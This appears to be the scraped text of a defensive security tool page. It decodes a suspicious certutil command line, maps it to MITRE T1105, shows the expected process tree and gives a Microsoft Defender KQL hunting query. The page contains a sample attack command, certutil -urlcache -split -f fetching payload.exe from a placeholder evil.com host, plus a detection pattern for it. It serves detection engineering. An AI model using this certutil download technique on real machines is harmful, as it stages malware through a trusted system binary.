Interactive Command Triage Engine

Command Line Decoder & Telemetry Studio

Paste suspicious command line strings from alerts, EDR logs, or sandbox execution to extract threat behaviors and generate SIEM rules.

Local Engine • Private & Secure

Quick Samples:

Raw Command Line Input

Press Ctrl+Enter to decode

Client-side parsing • Zero network telemetry

Critical RiskWindowsDownload

View certutil.exe Profile

Threat Assessment & MITRE Mapping

Identified abuse of trusted binary **certutil.exe** (WINDOWS). Pattern indicates **Download** activity mapped to MITRE ATT&CK technique **T1105: Ingress Tool Transfer**.

MITRE Technique:T1105 • Ingress Tool Transfer (Command and Control)

Command Obfuscation Detected

Environment variable path concatenation (e.g. %TEMP%)
External network URL resource reference detected

Parameter & Switch Breakdown

Switch / Token	Identified Purpose	Security Implication	Status
`-urlcache`	Enable URL Cache parsing	Instructs certutil to interact with the WinINet web cache, preparing for remote URL retrieval.	Suspicious
`-split`	Split / Force File Download	Causes certutil to download the file from the remote endpoint to disk.	Suspicious
`-f`http://evil.com/payload.exe	Force Overwrite	Forces overwriting of destination cache entry or disk file without prompting.	Standard

Process Lineage & Execution Tree
Expected Parent → Spawned Sub-process

cmd.exeparent process

Medium Integrity

C:\Windows\System32\cmd.exe

Spawning shell interpreter or automated task scheduler.

certutil.exetarget process

Medium Integrity

C:\Windows\System32\certutil.exe

The target command line executing suspicious flags.

payload.exechild process

Medium Integrity

C:\Users\Public\payload.exe

Downloaded secondary payload staged on disk.

Detection Engineering & SIEM Rules

Copy-paste ready telemetry filters

Microsoft Defender Advanced Hunting • DeviceProcessEvents schemaLive query

Microsoft Defender XDR / Sentinelkql

1// Microsoft Defender XDR / Microsoft Sentinel
2// Tactic: Download
3DeviceProcessEvents
4| where FileName =~ "certutil.exe"
5| where ProcessCommandLine has_any ("-urlcache", "-split", "-f")
6| project
7    Timestamp,
8    DeviceName,
9    AccountName,
10    InitiatingProcessParentFileName,
11    InitiatingProcessFileName,
12    InitiatingProcessCommandLine,
13    FileName,
14    FolderPath,
15    ProcessCommandLine,
16    MD5,
17    SHA256
18| sort by Timestamp desc

Command Line Decoder & Telemetry Studio

Threat Assessment & MITRE Mapping

Parameter & Switch Breakdown

Process Lineage & Execution TreeExpected Parent → Spawned Sub-process

Detection Engineering & SIEM Rules

Process Lineage & Execution Tree
Expected Parent → Spawned Sub-process